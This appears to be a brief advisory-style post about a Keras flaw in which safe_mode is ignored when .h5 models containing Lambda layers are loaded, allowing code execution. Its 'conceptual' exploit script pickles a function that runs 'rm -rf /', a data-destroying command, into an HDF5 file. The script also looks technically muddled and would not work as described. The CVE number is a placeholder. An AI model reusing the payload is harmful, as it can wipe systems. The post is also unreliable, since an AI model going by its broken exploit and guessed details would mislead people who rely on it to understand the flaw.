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The CVE-2025-XXXXX vulnerability in Keras stems from a critical flaw in the `Model.load_model()` method’s handling of the legacy .h5/.hdf5 model format. Despite a user explicitly setting the `safe_mode=True` parameter to prevent unsafe operations, this safety check is silently ignored during the deserialization process of an HDF5 file. The exploit leverages the format’s support for Lambda layers, which can contain arbitrary Python code objects serialized via the pickle module. When a maliciously crafted `.h5` file is loaded, the embedded pickled code within a Lambda layer is deserialized and executed, bypassing the intended security controls. This deserialization occurs without any validation, leading to arbitrary code execution within the context of the Python interpreter loading the model.
Platform: Keras
Version: 3.x
Vulnerability: Arbitrary Code Execution
Severity: Critical
date: 2025-09-19
Prediction: Patch by 2025-10-03
What Undercode Say:
python3 -c " import keras from keras import Model malicious_model = 'malicious.h5' Model.load_model(malicious_model, safe_mode=True) "
Crafting a malicious .h5 file (conceptual)
import h5py
import pickle
def malicious_code():
import os
os.system('rm -rf /')
f = h5py.File('malicious.h5', 'w')
lambda_layer = pickle.dumps(malicious_code)
f.create_dataset('model_weights/lambda_layer', data=lambda_layer)
f.close()
How Exploit:
Craft malicious .h5 with pickled payload.
Protection from this CVE:
Avoid loading untrusted .h5 files.
Impact:
Full system compromise possible.
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Sources:
Reported By: github.com
Extra Source Hub:
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